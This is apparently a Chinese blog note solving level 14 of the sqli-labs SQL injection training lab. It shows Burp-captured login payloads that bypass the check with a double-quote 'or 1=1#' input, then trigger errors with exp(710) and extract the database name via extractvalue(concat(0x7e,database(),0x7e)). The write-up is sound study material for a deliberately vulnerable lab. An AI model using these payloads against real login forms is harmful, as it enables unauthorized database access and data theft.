sqllab第十四关通关笔记

知识点:

  • 错误注入
  • 这里的语法是 where username=""
  • 直接进行双引号绕过

通过admin admin登录发现还是没有任何回显

通过bp进行抓包;测试输入内容

构造payload:username=a'+or+1=1#

发现不能成功登录

尝试换成双引号

构造payload:username=a"+or+1=1#

成功登录了

尝试进行错误注入

构造payload:username=a"+or+exp(710)#

错误成功打印到页面上了

尝试利用错误注入获取数据库名

构造payload:username=a"+or+extractvalue(1,concat(0x7e,database(),0x7e))#

成功获取了数据库名

到这里就结束了,利用错误注入获取数据库中其他敏感信息在最开始的几关实验过了

10

相关推荐
Jack___Xue9 分钟前
LangGraph学习笔记(四)---LangGraph检查点和Send机制
jvm·笔记·学习
今儿敲了吗11 分钟前
计算机网络第四章笔记(六)
笔记·计算机网络
wypywyp14 分钟前
7.stm32 江协科技笔记2
笔记·科技·stm32
日更嵌入式的打工仔37 分钟前
嵌入式软件开发工具与方法
笔记
浅念-37 分钟前
C语言——自定义类型:结构体、联合体、枚举
c语言·开发语言·数据结构·c++·笔记·学习·html
sayang_shao42 分钟前
YOLOv8n 输入输出格式笔记
笔记·yolo
AI视觉网奇43 分钟前
ue slot 插槽用法笔记
笔记·学习·ue5
Jack___Xue1 小时前
LangGraph学习笔记(二)---核心组件与工作流人机交互
笔记·学习·人机交互
AI视觉网奇1 小时前
blender fbx 比例不对 比例调整
笔记·学习·ue5
想你依然心痛1 小时前
Spark大数据分析与实战笔记(第六章 Kafka分布式发布订阅消息系统-03)
笔记·分布式·spark·kafka